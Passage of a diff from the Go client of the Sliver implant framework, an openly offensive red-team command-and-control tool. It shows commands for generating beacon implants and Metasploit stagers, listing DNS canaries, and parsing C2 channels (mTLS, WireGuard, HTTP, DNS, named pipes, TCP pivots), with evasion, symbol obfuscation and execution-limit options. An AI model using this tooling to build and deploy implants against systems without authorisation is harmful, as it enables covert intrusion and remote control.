strings.Repeat("=", len("First Trigger")),
|
||||
strings.Repeat("=", len("Latest Trigger")),
|
||||
)
|
||||
|
||||
lineColors := []string{}
|
||||
for _, canary := range canaries {
|
||||
if burnedOnly && !canary.Triggered {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
canary.ImplantName,
|
||||
canary.Domain,
|
||||
fmt.Sprintf("%v", canary.Triggered),
|
||||
canary.FirstTriggered,
|
||||
canary.LatestTrigger,
|
||||
)
|
||||
if canary.Triggered {
|
||||
lineColors = append(lineColors, bold+red)
|
||||
} else {
|
||||
lineColors = append(lineColors, normal)
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
for index, line := range strings.Split(outputBuf.String(), "\n") {
|
||||
if len(line) == 0 {
|
||||
continue
|
||||
}
|
||||
// We need to account for the two rows of column headers
|
||||
if 0 < len(line) && 2 <= index {
|
||||
lineColor := lineColors[index-2]
|
||||
fmt.Printf("%s%s%s\n", lineColor, line, normal)
|
||||
} else {
|
||||
fmt.Printf("%s\n", line)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
Generate
|
||||
========
|
||||
|
||||
Implements command related to implant generation such as `generate`, `regenerate`, `profiles`, etc.
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CanariesCmd - Display canaries from the database and their status
|
||||
func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to list canaries %s", err)
|
||||
return
|
||||
}
|
||||
if 0 < len(canaries.Canaries) {
|
||||
displayCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
|
||||
} else {
|
||||
con.PrintInfof("No canaries in database\n")
|
||||
}
|
||||
}
|
||||
|
||||
func displayCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Sliver Name")),
|
||||
strings.Repeat("=", len("Domain")),
|
||||
strings.Repeat("=", len("Triggered")),
|
||||
strings.Repeat("=", len("First Trigger")),
|
||||
strings.Repeat("=", len("Latest Trigger")),
|
||||
)
|
||||
|
||||
lineColors := []string{}
|
||||
for _, canary := range canaries {
|
||||
if burnedOnly && !canary.Triggered {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
canary.ImplantName,
|
||||
canary.Domain,
|
||||
fmt.Sprintf("%v", canary.Triggered),
|
||||
canary.FirstTriggered,
|
||||
canary.LatestTrigger,
|
||||
)
|
||||
if canary.Triggered {
|
||||
lineColors = append(lineColors, console.Bold+console.Red)
|
||||
} else {
|
||||
lineColors = append(lineColors, console.Normal)
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
for index, line := range strings.Split(outputBuf.String(), "\n") {
|
||||
if len(line) == 0 {
|
||||
continue
|
||||
}
|
||||
// We need to account for the two rows of column headers
|
||||
if 0 < len(line) && 2 <= index {
|
||||
lineColor := lineColors[index-2]
|
||||
con.Printf("%s%s%s\n", lineColor, line, console.Normal)
|
||||
} else {
|
||||
con.Printf("%s\n", line)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
minBeaconInterval = 5 * time.Second
|
||||
ErrBeaconIntervalTooShort = fmt.Errorf("beacon interval must be %v or greater", minBeaconInterval)
|
||||
)
|
||||
|
||||
// GenerateBeaconCmd - The main command used to generate implant binaries
|
||||
func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
config := parseCompileFlags(ctx, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(ctx, con, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
compile(config, save, con)
|
||||
}
|
||||
|
||||
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
|
||||
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
|
||||
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
|
||||
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
|
||||
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
|
||||
if interval < minBeaconInterval {
|
||||
return ErrBeaconIntervalTooShort
|
||||
}
|
||||
config.BeaconInterval = int64(interval)
|
||||
config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// GenerateInfoCmd - Display information about the Sliver server's compiler configuration
|
||||
func GenerateInfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to get compiler information: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("%sServer:%s %s/%s\n", console.Bold, console.Normal, compiler.GOOS, compiler.GOARCH)
|
||||
con.Println()
|
||||
con.Printf("%sCross Compilers%s\n", console.Bold, console.Normal)
|
||||
for _, cc := range compiler.CrossCompilers {
|
||||
con.Printf("%s/%s - %s\n", cc.TargetGOOS, cc.TargetGOARCH, cc.GetCCPath())
|
||||
}
|
||||
con.Println()
|
||||
con.Printf("%sSupported Targets%s\n", console.Bold, console.Normal)
|
||||
for _, target := range compiler.Targets {
|
||||
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
|
||||
}
|
||||
con.Println()
|
||||
con.Printf("%sDefault Builds Only%s\n", console.Bold, console.Normal)
|
||||
for _, target := range compiler.UnsupportedTargets {
|
||||
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,117 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// GenerateStagerCmd - Generate a stager using Metasploit
|
||||
func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var stageProto clientpb.StageProtocol
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
if lhost == "" {
|
||||
con.PrintErrorf("Please specify a listening host")
|
||||
return
|
||||
}
|
||||
match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !match {
|
||||
addr, err := net.LookupHost(lhost)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error resolving %s: %v\n", lhost, err)
|
||||
return
|
||||
}
|
||||
if len(addr) > 1 {
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an address",
|
||||
Options: addr,
|
||||
}
|
||||
err := survey.AskOne(prompt, &lhost)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
lhost = addr[0]
|
||||
}
|
||||
}
|
||||
lport := ctx.Flags.Int("lport")
|
||||
stageOS := ctx.Flags.String("os")
|
||||
arch := ctx.Flags.String("arch")
|
||||
proto := ctx.Flags.String("protocol")
|
||||
format := ctx.Flags.String("format")
|
||||
badchars := ctx.Flags.String("badchars")
|
||||
save := ctx.Flags.String("save")
|
||||
|
||||
bChars := make([]string, 0)
|
||||
if len(badchars) > 0 {
|
||||
for _, b := range strings.Split(badchars, " ") {
|
||||
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
|
||||
}
|
||||
}
|
||||
|
||||
switch proto {
|
||||
case "tcp":
|
||||
stageProto = clientpb.StageProtocol_TCP
|
||||
case "http":
|
||||
stageProto = clientpb.StageProtocol_HTTP
|
||||
case "https":
|
||||
stageProto = clientpb.StageProtocol_HTTPS
|
||||
default:
|
||||
con.PrintErrorf("%s staging protocol not supported\n", proto)
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Generating stager, please wait ...", ctrl)
|
||||
stageFile, err := con.Rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
|
||||
Arch: arch,
|
||||
BadChars: bChars,
|
||||
Format: format,
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Protocol: stageProto,
|
||||
OS: stageOS,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if save != "" || format == "raw" {
|
||||
saveTo, _ := filepath.Abs(save)
|
||||
fi, err := os.Stat(saveTo)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to generate sliver stager %v\n", err)
|
||||
return
|
||||
}
|
||||
if fi.IsDir() {
|
||||
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
|
||||
}
|
||||
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Sliver implant stager saved to: %s\n", saveTo)
|
||||
} else {
|
||||
con.PrintInfof("Here's your stager:")
|
||||
con.Println(string(stageFile.GetFile().GetData()))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,682 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
// DefaultMTLSLPort is the default port for mtls
|
||||
DefaultMTLSLPort = 8888
|
||||
// DefaultWGPort is the default port for wg
|
||||
DefaultWGLPort = 53
|
||||
// DefaultWGNPort is the default n port for wg
|
||||
DefaultWGNPort = 8888
|
||||
// DefaultWGKeyExPort is the default port for wg key exchange
|
||||
DefaultWGKeyExPort = 1337
|
||||
// DefaultHTTPLPort is the default port for http
|
||||
DefaultHTTPLPort = 80
|
||||
// DefaultHTTPSLPort is the default port for https
|
||||
DefaultHTTPSLPort = 443
|
||||
// DefaultDNSLPortis the default port for dns
|
||||
DefaultDNSLPort = 53
|
||||
// DefaultTCPPivotPort is the default port for tcp pivots
|
||||
DefaultTCPPivotPort = 9898
|
||||
|
||||
// DefaultReconnect is the default reconnect time
|
||||
DefaultReconnect = 60
|
||||
// DefaultPollTimeout is the default poll timeout
|
||||
DefaultPollTimeout = 360 // 6 minutes
|
||||
// DefaultMaxErrors is the default max reconnection errors before giving up
|
||||
DefaultMaxErrors = 1000
|
||||
)
|
||||
|
||||
const (
|
||||
crossCompilerInfoURL = "https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants"
|
||||
)
|
||||
|
||||
var (
|
||||
// SupportedCompilerTargets - Supported compiler targets
|
||||
SupportedCompilerTargets = map[string]bool{
|
||||
"darwin/amd64": true,
|
||||
"darwin/arm64": true,
|
||||
"linux/386": true,
|
||||
"linux/amd64": true,
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
)
|
||||
|
||||
// GenerateCmd - The main command used to generate implant binaries
|
||||
func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
config := parseCompileFlags(ctx, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
compile(config, save, con)
|
||||
}
|
||||
|
||||
func expandPath(path string) string {
|
||||
// unless path starts with ~
|
||||
if len(path) == 0 || path[0] != 126 {
|
||||
return path
|
||||
}
|
||||
|
||||
return filepath.Join(os.Getenv("HOME"), path[1:])
|
||||
}
|
||||
|
||||
func saveLocation(save, DefaultName string) (string, error) {
|
||||
var saveTo string
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
save = expandPath(save)
|
||||
fi, err := os.Stat(save)
|
||||
if os.IsNotExist(err) {
|
||||
log.Printf("%s does not exist\n", save)
|
||||
if strings.HasSuffix(save, "/") {
|
||||
log.Printf("%s is dir\n", save)
|
||||
os.MkdirAll(save, 0700)
|
||||
saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
saveDir := filepath.Dir(save)
|
||||
_, err := os.Stat(saveTo)
|
||||
if os.IsNotExist(err) {
|
||||
os.MkdirAll(saveDir, 0700)
|
||||
}
|
||||
saveTo, _ = filepath.Abs(save)
|
||||
}
|
||||
} else {
|
||||
log.Printf("%s does exist\n", save)
|
||||
if fi.IsDir() {
|
||||
log.Printf("%s is dir\n", save)
|
||||
saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return "", errors.New("file already exists")
|
||||
}
|
||||
saveTo, _ = filepath.Abs(save)
|
||||
}
|
||||
}
|
||||
return saveTo, nil
|
||||
}
|
||||
|
||||
func nameOfOutputFormat(value clientpb.OutputFormat) string {
|
||||
switch value {
|
||||
case clientpb.OutputFormat_EXECUTABLE:
|
||||
return "Executable"
|
||||
case clientpb.OutputFormat_SERVICE:
|
||||
return "Service"
|
||||
case clientpb.OutputFormat_SHARED_LIB:
|
||||
return "Shared Library"
|
||||
case clientpb.OutputFormat_SHELLCODE:
|
||||
return "Shellcode"
|
||||
}
|
||||
panic(fmt.Sprintf("Unknown format %v", value))
|
||||
}
|
||||
|
||||
// Shared function that extracts the compile flags from the grumble context
|
||||
func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
|
||||
var name string
|
||||
if ctx.Flags["name"] != nil {
|
||||
name = strings.ToLower(ctx.Flags.String("name"))
|
||||
|
||||
if name != "" {
|
||||
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
|
||||
if !isAlphanumeric(name) {
|
||||
con.PrintErrorf("Implant's name must be in alphanumeric only\n")
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2, err := ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
|
||||
wgC2, err := ParseWGc2(ctx.Flags.String("wg"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, wgC2...)
|
||||
|
||||
httpC2, err := ParseHTTPc2(ctx.Flags.String("http"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, httpC2...)
|
||||
|
||||
dnsC2, err := ParseDNSc2(ctx.Flags.String("dns"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, dnsC2...)
|
||||
|
||||
namedPipeC2, err := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
|
||||
tcpPivotC2, err := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
var symbolObfuscation bool
|
||||
if ctx.Flags.Bool("debug") {
|
||||
symbolObfuscation = false
|
||||
} else {
|
||||
symbolObfuscation = !ctx.Flags.Bool("skip-symbols")
|
||||
}
|
||||
|
||||
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
|
||||
return nil
|
||||
}
|
||||
|
||||
rawCanaries := ctx.Flags.String("canary")
|
||||
canaryDomains := []string{}
|
||||
if 0 < len(rawCanaries) {
|
||||
for _, canaryDomain := range strings.Split(rawCanaries, ",") {
|
||||
if !strings.HasSuffix(canaryDomain, ".") {
|
||||
canaryDomain += "." // Ensure we have the FQDN
|
||||
}
|
||||
canaryDomains = append(canaryDomains, canaryDomain)
|
||||
}
|
||||
}
|
||||
|
||||
reconnectInterval := ctx.Flags.Int("reconnect")
|
||||
pollTimeout := ctx.Flags.Int("poll-timeout")
|
||||
maxConnectionErrors := ctx.Flags.Int("max-errors")
|
||||
|
||||
limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
|
||||
limitHostname := ctx.Flags.String("limit-hostname")
|
||||
limitUsername := ctx.Flags.String("limit-username")
|
||||
limitDatetime := ctx.Flags.String("limit-datetime")
|
||||
limitFileExists := ctx.Flags.String("limit-fileexists")
|
||||
|
||||
isSharedLib := false
|
||||
isService := false
|
||||
isShellcode := false
|
||||
|
||||
format := ctx.Flags.String("format")
|
||||
var configFormat clientpb.OutputFormat
|
||||
switch format {
|
||||
case "exe":
|
||||
configFormat = clientpb.OutputFormat_EXECUTABLE
|
||||
case "shared":
|
||||
configFormat = clientpb.OutputFormat_SHARED_LIB
|
||||
isSharedLib = true
|
||||
case "shellcode":
|
||||
configFormat = clientpb.OutputFormat_SHELLCODE
|
||||
isShellcode = true
|
||||
case "service":
|
||||
configFormat = clientpb.OutputFormat_SERVICE
|
||||
isService = true
|
||||
default:
|
||||
// Default to exe
|
||||
configFormat = clientpb.OutputFormat_EXECUTABLE
|
||||
}
|
||||
|
||||
targetOS := strings.ToLower(ctx.Flags.String("os"))
|
||||
targetArch := strings.ToLower(ctx.Flags.String("arch"))
|
||||
targetOS, targetArch = getTargets(targetOS, targetArch, con)
|
||||
if targetOS == "" || targetArch == "" {
|
||||
return nil
|
||||
}
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
|
||||
return nil
|
||||
}
|
||||
|
||||
// Check to see if we can *probably* build the target binary
|
||||
if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
|
||||
return nil
|
||||
}
|
||||
|
||||
var tunIP net.IP
|
||||
if wg := ctx.Flags.String("wg"); wg != "" {
|
||||
uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
|
||||
tunIP = net.ParseIP(uniqueWGIP.IP)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to generate unique ip for wg peer tun interface")
|
||||
return nil
|
||||
}
|
||||
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: targetOS,
|
||||
GOARCH: targetArch,
|
||||
Name: name,
|
||||
Debug: ctx.Flags.Bool("debug"),
|
||||
Evasion: ctx.Flags.Bool("evasion"),
|
||||
ObfuscateSymbols: symbolObfuscation,
|
||||
C2: c2s,
|
||||
CanaryDomains: canaryDomains,
|
||||
|
||||
WGPeerTunIP: tunIP.String(),
|
||||
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
|
||||
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
|
||||
|
||||
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
|
||||
PollTimeout: int64(pollTimeout) * int64(time.Second),
|
||||
MaxConnectionErrors: uint32(maxConnectionErrors),
|
||||
|
||||
LimitDomainJoined: limitDomainJoined,
|
||||
LimitHostname: limitHostname,
|
||||
LimitUsername: limitUsername,
|
||||
LimitDatetime: limitDatetime,
|
||||
LimitFileExists: limitFileExists,
|
||||
|
||||
Format: configFormat,
|
||||
IsSharedLib: isSharedLib,
|
||||
IsService: isService,
|
||||
IsShellcode: isShellcode,
|
||||
}
|
||||
|
||||
return config
|
||||
}
|
||||
|
||||
func getTargets(targetOS string, targetArch string, con *console.SliverConsoleClient) (string, string) {
|
||||
|
||||
/* For UX we convert some synonymous terms */
|
||||
if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" {
|
||||
targetOS = "darwin"
|
||||
}
|
||||
if targetOS == "windows" || targetOS == "win" || targetOS == "shit" {
|
||||
targetOS = "windows"
|
||||
}
|
||||
if targetOS == "linux" || targetOS == "lin" {
|
||||
targetOS = "linux"
|
||||
}
|
||||
|
||||
if targetArch == "amd64" || targetArch == "x64" || strings.HasPrefix(targetArch, "64") {
|
||||
targetArch = "amd64"
|
||||
}
|
||||
if targetArch == "386" || targetArch == "x86" || strings.HasPrefix(targetArch, "32") {
|
||||
targetArch = "386"
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
|
||||
if _, ok := SupportedCompilerTargets[target]; !ok {
|
||||
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
|
||||
console.Bold, target, console.Normal,
|
||||
)
|
||||
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
|
||||
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return "", ""
|
||||
}
|
||||
}
|
||||
|
||||
return targetOS, targetArch
|
||||
}
|
||||
|
||||
// ParseMTLSc2 - Parse mtls connection string arg
|
||||
func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "mtls://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
// ParseWGc2 - Parse wg connect string arg
|
||||
func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "mtls://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
// ParseHTTPc2 - Parse HTTP connection string arg
|
||||
func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("https://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
// ParseDNSc2 - Parse DNS connection string arg
|
||||
func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "dns://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("dns://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
// ParseNamedPipec2 - Parse named pipe connection string arg
|
||||
func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "named-pipe://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
// ParseTCPPivotc2 - Parse tcp pivot connection string arg
|
||||
func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
